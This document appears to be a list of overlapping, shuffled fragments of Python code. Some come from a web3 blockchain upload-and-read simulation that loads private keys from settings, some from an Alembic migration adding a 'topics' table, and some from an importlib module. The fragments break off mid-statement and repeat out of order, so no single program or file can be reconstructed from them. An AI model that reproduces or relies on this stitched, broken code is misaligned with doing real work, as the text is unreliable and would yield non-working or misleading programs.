1))): statuses.append(await c.upload()) except ValueError as v: print(f'{type(v)}", "from settings import ( polygon_private_keys ) return polygon_private_keys from settings", "s > MAX_VAL: raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and", "import ( polygon_private_keys ) return polygon_private_keys from settings import (", "c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) + 1: for _ in", "cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn ==", "for argparse - int within some predefined bounds. \"\"\" try:", "return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str) -> Contract:", "(round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload()) except ValueError as", "def check_statuses(statuses: []) -> bool: for idx in range(len(statuses)): if", "file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with", "in range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else: for", "be a int number\") if s < MIN_VAL or s", "MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f\"argument must be >", "True): if msg: print('Retrieve config file...') filename = f'{blockchain}.json' filepath", "\"\"\" try: s = int(arg) except ValueError: raise ArgumentTypeError(\"must be", "'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn == 'delete': for _ in", "import ( quorum_private_keys ) return quorum_private_keys def get_contract(w3, address: Address,", "get_credentials(blockchain: str) -> tuple: if blockchain == 'polygon': from settings", "msg: bool = True): if msg: print('Retrieve config file...') filename", "== 'read' or fn == 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file':", "with open(filepath) as file: contracts_summary = json.loads(file.read()) if msg: print(f'Config", "or fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if fn == 'file_check_undeleted_file':", "1): statuses.append(await c.upload()) else: for c in contracts: if fn", "fn == 'delete': if c.tx_upload_count < round(factor / DEPLOYED_CONTRACTS) +", "statuses[idx] == 0: return False return True def exists_mkdir(paths: []):", "Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def", "statuses.append(await c.upload()) else: for c in contracts: if fn ==", "== 'file_check_undeleted_file': statuses.append(await c.read()) if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read())", "= True): if msg: print('Retrieve config file...') filename = f'{blockchain}.json'", "== 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn == 'delete': for _", "in paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg:", "a int number\") if s < MIN_VAL or s >", "[]) -> bool: for idx in range(len(statuses)): if statuses[idx] ==", "f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file:", "bool: for idx in range(len(statuses)): if statuses[idx] == 0: return", "from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts:", "MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor: float,", "json.loads(file.read()) if msg: print(f'Config file retrieved at {filepath}.') return contracts_summary", "compiled_contract_path: str) -> Contract: def get_abi(path: str) -> list: with", "bool: statuses = [True] try: if status_init: for c in", "contracts: # Use different cloud_addresses for each contract instance cloud_address,", "DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else: for c in contracts:", "path in paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str,", "in range(len(statuses)): if statuses[idx] == 0: return False return True", "argparse import ArgumentTypeError from eth_typing import Address from web3.contract import", "with open(path) as file: contract_json = json.load(file) contract_abi = contract_json['abi']", "return contract def check_statuses(statuses: []) -> bool: for idx in", "abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract def", "contract = w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: []) ->", "int within some predefined bounds. \"\"\" try: s = int(arg)", "cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read'", "settings import ( quorum_private_keys ) return quorum_private_keys def get_contract(w3, address:", "'file_check_undeleted_file': statuses.append(await c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await c.read()) if", "/ DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload()) except ValueError as v:", "instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn", "return contracts_summary def range_limited_val(arg: str) -> int: \"\"\" Type function", "-> int: \"\"\" Type function for argparse - int within", "from web3.contract import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS,", "str, status_init: bool) -> bool: statuses = [True] try: if", "for idx in range(len(statuses)): if statuses[idx] == 0: return False", "ArgumentTypeError(\"must be a int number\") if s < MIN_VAL or", "statuses.append(await c.upload()) except ValueError as v: print(f'{type(v)} [init_sim]: {v}') else:", "json import os from argparse import ArgumentTypeError from eth_typing import", "eth_typing import Address from web3.contract import Contract from settings import", "import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async", "from eth_typing import Address from web3.contract import Contract from settings", "file retrieved at {filepath}.') return contracts_summary def range_limited_val(arg: str) ->", "{filepath}.') return contracts_summary def range_limited_val(arg: str) -> int: \"\"\" Type", "predefined bounds. \"\"\" try: s = int(arg) except ValueError: raise", "list: with open(path) as file: contract_json = json.load(file) contract_abi =", "ArgumentTypeError from eth_typing import Address from web3.contract import Contract from", "for c in contracts: if fn == 'delete': if c.tx_upload_count", "c.upload()) else: for c in contracts: if fn == 'delete':", "def get_abi(path: str) -> list: with open(path) as file: contract_json", "s = int(arg) except ValueError: raise ArgumentTypeError(\"must be a int", "- int within some predefined bounds. \"\"\" try: s =", "quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str) -> Contract: def", "msg: print(f'Config file retrieved at {filepath}.') return contracts_summary def range_limited_val(arg:", "_ in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await", "async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool)", "Type function for argparse - int within some predefined bounds.", "1))): statuses.append(await c.upload()) except ValueError as v: print(f'{type(v)} [init_sim]: {v}')", "int(arg) except ValueError: raise ArgumentTypeError(\"must be a int number\") if", "for _ in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) + 1))):", "number\") if s < MIN_VAL or s > MAX_VAL: raise", "else: return check_statuses(statuses) def get_credentials(blockchain: str) -> tuple: if blockchain", "c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read' or fn == 'read_deny_lost_file_check'", "cloud_addresses for each contract instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation()", "settings import ( polygon_private_keys ) return polygon_private_keys from settings import", "v: print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses) def get_credentials(blockchain: str)", "w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: []) -> bool: for", "def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) ->", "status_init: bool) -> bool: statuses = [True] try: if status_init:", "-> bool: statuses = [True] try: if status_init: for c", "statuses.append(await c.read()) if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn", "CONFIG_DIR, filename) with open(filepath) as file: contracts_summary = json.loads(file.read()) if", "c in contracts: # Use different cloud_addresses for each contract", "DEPLOYED_CONTRACTS) + 1: for _ in range(abs(c.tx_upload_count - (round(factor /", "c.upload()) except ValueError as v: print(f'{type(v)} [init_sim]: {v}') else: return", "round(factor / DEPLOYED_CONTRACTS) + 1: for _ in range(abs(c.tx_upload_count -", "range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload()) except", "bool) -> bool: statuses = [True] try: if status_init: for", "except ValueError as v: print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses)", "== 'polygon': from settings import ( polygon_private_keys ) return polygon_private_keys", "if fn == 'delete': for _ in range(round(factor / DEPLOYED_CONTRACTS)", "CONFIG_DIR async def init_simulation(contracts: [], factor: float, fn: str, status_init:", "/ DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else: for c in", "fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await", "( quorum_private_keys ) return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path:", "return True def exists_mkdir(paths: []): for path in paths: if", "status_init: for c in contracts: # Use different cloud_addresses for", "if fn == 'read' or fn == 'read_deny_lost_file_check' or fn", "Address from web3.contract import Contract from settings import MIN_VAL, MAX_VAL,", "exists_mkdir(paths: []): for path in paths: if not os.path.exists(path): os.mkdir(path)", "print(f'Config file retrieved at {filepath}.') return contracts_summary def range_limited_val(arg: str)", "in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload())", "get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: [])", "- (round(factor / DEPLOYED_CONTRACTS) + 1))): statuses.append(await c.upload()) except ValueError", "fn == 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if", "address: Address, compiled_contract_path: str) -> Contract: def get_abi(path: str) ->", "str) -> Contract: def get_abi(path: str) -> list: with open(path)", "abi=abi) return contract def check_statuses(statuses: []) -> bool: for idx", "os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool = True): if msg:", "def get_contracts_config(blockchain: str, msg: bool = True): if msg: print('Retrieve", "ValueError: raise ArgumentTypeError(\"must be a int number\") if s <", "'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await c.upload()) if fn ==", "raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}\") return", "'read' or fn == 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await", "== 'delete': for _ in range(round(factor / DEPLOYED_CONTRACTS) + 1):", "-> Contract: def get_abi(path: str) -> list: with open(path) as", "return contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return", "as v: print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses) def get_credentials(blockchain:", "within some predefined bounds. \"\"\" try: s = int(arg) except", "float, fn: str, status_init: bool) -> bool: statuses = [True]", "'delete': for _ in range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await", "-> tuple: if blockchain == 'polygon': from settings import (", "from argparse import ArgumentTypeError from eth_typing import Address from web3.contract", "factor: float, fn: str, status_init: bool) -> bool: statuses =", "== 'file_check_undeleted_file': statuses.append(await c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await c.read())", "fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn == 'delete': for", "( polygon_private_keys ) return polygon_private_keys from settings import ( quorum_private_keys", "config file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename)", "except ValueError: raise ArgumentTypeError(\"must be a int number\") if s", "settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [],", "fn: str, status_init: bool) -> bool: statuses = [True] try:", "for path in paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain:", "web3.contract import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR", "def range_limited_val(arg: str) -> int: \"\"\" Type function for argparse", "Contract: def get_abi(path: str) -> list: with open(path) as file:", "False return True def exists_mkdir(paths: []): for path in paths:", "os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool = True): if", "argparse - int within some predefined bounds. \"\"\" try: s", "= get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses:", "< round(factor / DEPLOYED_CONTRACTS) + 1: for _ in range(abs(c.tx_upload_count", "if s < MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f\"argument", "= w3.eth.contract(address=address, abi=abi) return contract def check_statuses(statuses: []) -> bool:", "check_statuses(statuses: []) -> bool: for idx in range(len(statuses)): if statuses[idx]", "import os from argparse import ArgumentTypeError from eth_typing import Address", "contracts_summary def range_limited_val(arg: str) -> int: \"\"\" Type function for", "+ 1: for _ in range(abs(c.tx_upload_count - (round(factor / DEPLOYED_CONTRACTS)", "s < MIN_VAL or s > MAX_VAL: raise ArgumentTypeError(f\"argument must", "contract_abi = contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract =", "= f'{blockchain}.json' filepath = os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as", "in contracts: if fn == 'delete': if c.tx_upload_count < round(factor", "import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor:", "if msg: print('Retrieve config file...') filename = f'{blockchain}.json' filepath =", "statuses.append(cloud_status_ok) if fn == 'read' or fn == 'read_deny_lost_file_check' or", "\"\"\" Type function for argparse - int within some predefined", "blockchain == 'polygon': from settings import ( polygon_private_keys ) return", "init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool:", "file: contract_json = json.load(file) contract_abi = contract_json['abi'] return contract_abi abi", "[], factor: float, fn: str, status_init: bool) -> bool: statuses", "[True] try: if status_init: for c in contracts: # Use", "return polygon_private_keys from settings import ( quorum_private_keys ) return quorum_private_keys", "# Use different cloud_addresses for each contract instance cloud_address, cloud_status_ok", "different cloud_addresses for each contract instance cloud_address, cloud_status_ok = await", "c.read()) if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn ==", "paths: if not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool", "= await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address) statuses.append(cloud_status_ok) if fn == 'read' or", "ValueError as v: print(f'{type(v)} [init_sim]: {v}') else: return check_statuses(statuses) def", "'polygon': from settings import ( polygon_private_keys ) return polygon_private_keys from", "msg: print('Retrieve config file...') filename = f'{blockchain}.json' filepath = os.path.join(os.getcwd(),", "> MAX_VAL: raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and <", "try: if status_init: for c in contracts: # Use different", "if fn == 'file_check_undeleted_file': statuses.append(await c.read()) if fn == 'corrupted_file_check':", "c.another_file_upload_read()) if fn == 'delete': for _ in range(round(factor /", "else: for c in contracts: if fn == 'delete': if", "= [True] try: if status_init: for c in contracts: #", "def get_credentials(blockchain: str) -> tuple: if blockchain == 'polygon': from", "tuple: if blockchain == 'polygon': from settings import ( polygon_private_keys", "from settings import ( quorum_private_keys ) return quorum_private_keys def get_contract(w3,", ") return quorum_private_keys def get_contract(w3, address: Address, compiled_contract_path: str) ->", "get_abi(path: str) -> list: with open(path) as file: contract_json =", "get_contracts_config(blockchain: str, msg: bool = True): if msg: print('Retrieve config", "contract_json['abi'] return contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi)", "in contracts: # Use different cloud_addresses for each contract instance", "if statuses[idx] == 0: return False return True def exists_mkdir(paths:", "contracts: if fn == 'delete': if c.tx_upload_count < round(factor /", "contracts_summary = json.loads(file.read()) if msg: print(f'Config file retrieved at {filepath}.')", "fn == 'read' or fn == 'read_deny_lost_file_check' or fn ==", "raise ArgumentTypeError(\"must be a int number\") if s < MIN_VAL", "or fn == 'read_deny_lost_file_check' or fn == 'file_check_undeleted_file': statuses.append(await c.upload())", "not os.path.exists(path): os.mkdir(path) def get_contracts_config(blockchain: str, msg: bool = True):", "Address, compiled_contract_path: str) -> Contract: def get_abi(path: str) -> list:", "for _ in range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload())", "os.path.join(os.getcwd(), CONFIG_DIR, filename) with open(filepath) as file: contracts_summary = json.loads(file.read())", "statuses.append(await c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await c.read()) if fn", "idx in range(len(statuses)): if statuses[idx] == 0: return False return", "0: return False return True def exists_mkdir(paths: []): for path", "c.upload()) if fn == 'file_check_undeleted_file': statuses.append(await c.read()) if fn ==", "str) -> tuple: if blockchain == 'polygon': from settings import", "some predefined bounds. \"\"\" try: s = int(arg) except ValueError:", "if msg: print(f'Config file retrieved at {filepath}.') return contracts_summary def", "'file_check_undeleted_file': statuses.append(await c.read()) if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if", "True def exists_mkdir(paths: []): for path in paths: if not", "MAX_VAL: raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)} and < {str(MAX_VAL)}\")", "for each contract instance cloud_address, cloud_status_ok = await c.cloud_sla_creation_activation() c.set_cloud_sla_address(cloud_address)", "if fn == 'corrupted_file_check': statuses.append(await c.another_file_upload_read()) if fn == 'delete':", "contract_abi abi = get_abi(compiled_contract_path) contract = w3.eth.contract(address=address, abi=abi) return contract", "check_statuses(statuses) def get_credentials(blockchain: str) -> tuple: if blockchain == 'polygon':", "open(filepath) as file: contracts_summary = json.loads(file.read()) if msg: print(f'Config file", "range(round(factor / DEPLOYED_CONTRACTS) + 1): statuses.append(await c.upload()) else: for c", "or s > MAX_VAL: raise ArgumentTypeError(f\"argument must be > {str(MIN_VAL)}", "[]): for path in paths: if not os.path.exists(path): os.mkdir(path) def", "fn == 'delete': for _ in range(round(factor / DEPLOYED_CONTRACTS) +" ]
[ "commands auto generated by Alembic - please adjust! ### op.create_table(", "please adjust! ### op.drop_table(\"topics\") # ### end Alembic commands ###", "used by Alembic. revision = \"816ea3631582\" down_revision = \"<KEY>\" branch_labels", "- please adjust! ### op.drop_table(\"topics\") # ### end Alembic commands", "Alembic commands ### def downgrade(): # ### commands auto generated", "identifiers, used by Alembic. revision = \"816ea3631582\" down_revision = \"<KEY>\"", "= None depends_on = None def upgrade(): # ### commands", "None def upgrade(): # ### commands auto generated by Alembic", "Create Date: 2021-03-13 14:20:10.044131 \"\"\" from alembic import op import", "bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ### end Alembic commands ###", "### end Alembic commands ### def downgrade(): # ### commands", "### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"),", "by Alembic. revision = \"816ea3631582\" down_revision = \"<KEY>\" branch_labels =", "by Alembic - please adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(),", "def upgrade(): # ### commands auto generated by Alembic -", "auto generated by Alembic - please adjust! ### op.drop_table(\"topics\") #", "please adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True),", "\"\"\"add topics Revision ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13", "adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True),", "- please adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\",", "upgrade(): # ### commands auto generated by Alembic - please", "alembic import op import sqlalchemy as sa import bot #", "= \"816ea3631582\" down_revision = \"<KEY>\" branch_labels = None depends_on =", "= None def upgrade(): # ### commands auto generated by", "816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 \"\"\" from alembic", "sqlalchemy as sa import bot # revision identifiers, used by", "\"\"\" from alembic import op import sqlalchemy as sa import", "### commands auto generated by Alembic - please adjust! ###", "# revision identifiers, used by Alembic. revision = \"816ea3631582\" down_revision", "revision identifiers, used by Alembic. revision = \"816ea3631582\" down_revision =", "def downgrade(): # ### commands auto generated by Alembic -", "as sa import bot # revision identifiers, used by Alembic.", "sa import bot # revision identifiers, used by Alembic. revision", "auto generated by Alembic - please adjust! ### op.create_table( \"topics\",", "sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ### end", ") # ### end Alembic commands ### def downgrade(): #", "# ### commands auto generated by Alembic - please adjust!", "down_revision = \"<KEY>\" branch_labels = None depends_on = None def", "import sqlalchemy as sa import bot # revision identifiers, used", "commands ### def downgrade(): # ### commands auto generated by", "ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 \"\"\" from", "sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ###", "Revision ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 \"\"\"", "Alembic - please adjust! ### op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False),", "downgrade(): # ### commands auto generated by Alembic - please", "revision = \"816ea3631582\" down_revision = \"<KEY>\" branch_labels = None depends_on", "Date: 2021-03-13 14:20:10.044131 \"\"\" from alembic import op import sqlalchemy", "<KEY> Create Date: 2021-03-13 14:20:10.044131 \"\"\" from alembic import op", "commands auto generated by Alembic - please adjust! ### op.drop_table(\"topics\")", "Alembic. revision = \"816ea3631582\" down_revision = \"<KEY>\" branch_labels = None", "op.create_table( \"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), )", "Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 \"\"\" from alembic import", "depends_on = None def upgrade(): # ### commands auto generated", "\"topics\", sa.Column(\"content\", sa.Text(), nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) #", "end Alembic commands ### def downgrade(): # ### commands auto", "\"<KEY>\" branch_labels = None depends_on = None def upgrade(): #", "sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ### end Alembic commands", "op import sqlalchemy as sa import bot # revision identifiers,", "import bot # revision identifiers, used by Alembic. revision =", "import op import sqlalchemy as sa import bot # revision", "generated by Alembic - please adjust! ### op.drop_table(\"topics\") # ###", "bot # revision identifiers, used by Alembic. revision = \"816ea3631582\"", "Alembic - please adjust! ### op.drop_table(\"topics\") # ### end Alembic", "= \"<KEY>\" branch_labels = None depends_on = None def upgrade():", "nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ### end Alembic commands ### def", "nullable=False), sa.Column(\"last_synced_at\", bot.database.TIMESTAMP(timezone=True), nullable=True), sa.PrimaryKeyConstraint(\"content\"), ) # ### end Alembic", "\"816ea3631582\" down_revision = \"<KEY>\" branch_labels = None depends_on = None", "branch_labels = None depends_on = None def upgrade(): # ###", "14:20:10.044131 \"\"\" from alembic import op import sqlalchemy as sa", "# ### end Alembic commands ### def downgrade(): # ###", "None depends_on = None def upgrade(): # ### commands auto", "generated by Alembic - please adjust! ### op.create_table( \"topics\", sa.Column(\"content\",", "from alembic import op import sqlalchemy as sa import bot", "sa.PrimaryKeyConstraint(\"content\"), ) # ### end Alembic commands ### def downgrade():", "topics Revision ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131", "2021-03-13 14:20:10.044131 \"\"\" from alembic import op import sqlalchemy as", "### def downgrade(): # ### commands auto generated by Alembic", "by Alembic - please adjust! ### op.drop_table(\"topics\") # ### end" ]
[ "character != '.': break level += 1 return _bootstrap._gcd_import(name[level:], package,", "'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find the loader for the", "the full Python module import sys from . import machinery", "to the finders. None is returned if no loader could", "'invalidate_caches'] # Bootstrap help ##################################################### # Until bootstrapping is complete,", "break level += 1 return _bootstrap._gcd_import(name[level:], package, level) #need at", "if name.startswith('.'): if not package: raise TypeError(\"relative imports require the", "specified module. First, sys.modules is checked to see if the", "the invalidate_caches() method on all meta path finders stored in", "imported. You will most likely need to explicitly import all", "import sys from . import machinery from . import _bootstrap", "if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find the loader", "_bootstrap._setup(sys, _imp) # To simplify imports in test code _w_long", "those # modules would get an uninitialised copy of the", "None is returned if no loader could be found. Dotted", "explicitly import all parent packages in the proper order for", "level) #need at least one import hook for importlib stuff", "is raised. If the module is not in sys.modules, then", "submodule to get the correct loader. \"\"\" try: loader =", "\"\"\"Import a module. The 'package' argument is required when performing", "point, import whatever you like, circular # dependencies and startup", "then ValueError is raised. If the module is not in", "['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### # Until bootstrapping", "of import.\"\"\" __all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help", "then sys.modules[name].__loader__ is returned. If that happens to be set", "for character in name: if character != '.': break level", "component, NOT the full Python module import sys from .", "with the value of 'path' given to the finders. None", "for finder in sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name,", "find_loader(name, path=None): \"\"\"Find the loader for the specified module. First,", "loader except KeyError: pass return _bootstrap._find_module(name, path) def import_module(name, package=None):", "absolute import. \"\"\" level = 0 if name.startswith('.'): if not", "simplify imports in test code _w_long = _bootstrap._w_long _r_long =", "1 return _bootstrap._gcd_import(name[level:], package, level) #need at least one import", "= 0 if name.startswith('.'): if not package: raise TypeError(\"relative imports", "##################################################### # Until bootstrapping is complete, DO NOT import any", "level += 1 return _bootstrap._gcd_import(name[level:], package, level) #need at least", "is required when performing a relative import. It specifies the", "packages in the proper order for a submodule to get", "package: raise TypeError(\"relative imports require the 'package' argument\") for character", "available). import _imp # Just the builtin component, NOT the", "this point, import whatever you like, circular # dependencies and", "'path' given to the finders. None is returned if no", "sys.meta_path is searched for a suitable loader with the value", "be set to None, then ValueError is raised. If the", "######################################################### from ._bootstrap import __import__ def invalidate_caches(): \"\"\"Call the invalidate_caches()", "one or the one # initialised below if the frozen", "not in sys.modules, then sys.meta_path is searched for a suitable", "all meta path finders stored in sys.meta_path (where implemented).\"\"\" for", "need to explicitly import all parent packages in the proper", "partially initialised package would be present in sys.modules, those #", ". import _bootstrap _bootstrap._setup(sys, _imp) # To simplify imports in", "parent packages in the proper order for a submodule to", "specifies the package to use as the anchor point from", "in sys.meta_path (where implemented).\"\"\" for finder in sys.meta_path: if hasattr(finder,", "set to None, then ValueError is raised. If the module", "# To simplify imports in test code _w_long = _bootstrap._w_long", "a relative import. It specifies the package to use as", "see if the module was already imported. If so, then", "ValueError is raised. If the module is not in sys.modules,", "TypeError(\"relative imports require the 'package' argument\") for character in name:", "for a suitable loader with the value of 'path' given", "imports in test code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long", "in test code _w_long = _bootstrap._w_long _r_long = _bootstrap._r_long #", "like, circular # dependencies and startup overhead minimisation permitting :)", "method on all meta path finders stored in sys.meta_path (where", "level = 0 if name.startswith('.'): if not package: raise TypeError(\"relative", "in the proper order for a submodule to get the", "on all meta path finders stored in sys.meta_path (where implemented).\"\"\"", "will most likely need to explicitly import all parent packages", "in sys.modules, those # modules would get an uninitialised copy", "permitting :) # Public API ######################################################### from ._bootstrap import __import__", "for importlib stuff to work. from . import basehook sys.meta_path.append(basehook.BaseHook())", "the module was already imported. If so, then sys.modules[name].__loader__ is", "finders stored in sys.meta_path (where implemented).\"\"\" for finder in sys.meta_path:", "_imp # Just the builtin component, NOT the full Python", "one import hook for importlib stuff to work. from .", "require the 'package' argument\") for character in name: if character", "Dotted names do not have their parent packages implicitly imported.", "sys.modules[name].__loader__ if loader is None: raise ValueError('{}.__loader__ is None'.format(name)) else:", "# Just the builtin component, NOT the full Python module", "_bootstrap _bootstrap._setup(sys, _imp) # To simplify imports in test code", "Until bootstrapping is complete, DO NOT import any modules that", "def find_loader(name, path=None): \"\"\"Find the loader for the specified module.", "'.': break level += 1 return _bootstrap._gcd_import(name[level:], package, level) #need", "and startup overhead minimisation permitting :) # Public API #########################################################", "If so, then sys.modules[name].__loader__ is returned. If that happens to", "modules would get an uninitialised copy of the source version,", "To simplify imports in test code _w_long = _bootstrap._w_long _r_long", "package=None): \"\"\"Import a module. The 'package' argument is required when", ". import machinery from . import _bootstrap _bootstrap._setup(sys, _imp) #", "The 'package' argument is required when performing a relative import.", "to explicitly import all parent packages in the proper order", "the package to use as the anchor point from which", "KeyError: pass return _bootstrap._find_module(name, path) def import_module(name, package=None): \"\"\"Import a", "in name: if character != '.': break level += 1", "resolve the relative import to an absolute import. \"\"\" level", "import _imp # Just the builtin component, NOT the full", "module. The 'package' argument is required when performing a relative", "the one # initialised below if the frozen one is", "loader is None: raise ValueError('{}.__loader__ is None'.format(name)) else: return loader", "for the specified module. First, sys.modules is checked to see", "copy of the source version, instead # of a fully", "argument\") for character in name: if character != '.': break", ":) # Public API ######################################################### from ._bootstrap import __import__ def", "import_module(name, package=None): \"\"\"Import a module. The 'package' argument is required", "could be found. Dotted names do not have their parent", "hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find the loader for", "sys.meta_path: if hasattr(finder, 'invalidate_caches'): finder.invalidate_caches() def find_loader(name, path=None): \"\"\"Find the", "help ##################################################### # Until bootstrapping is complete, DO NOT import", "or indirectly). Since this # partially initialised package would be", "from which to resolve the relative import to an absolute", "pure Python implementation of import.\"\"\" __all__ = ['__import__', 'import_module', 'invalidate_caches']", "# initialised below if the frozen one is not available).", "First, sys.modules is checked to see if the module was", "not available). import _imp # Just the builtin component, NOT", "imported. If so, then sys.modules[name].__loader__ is returned. If that happens", "the relative import to an absolute 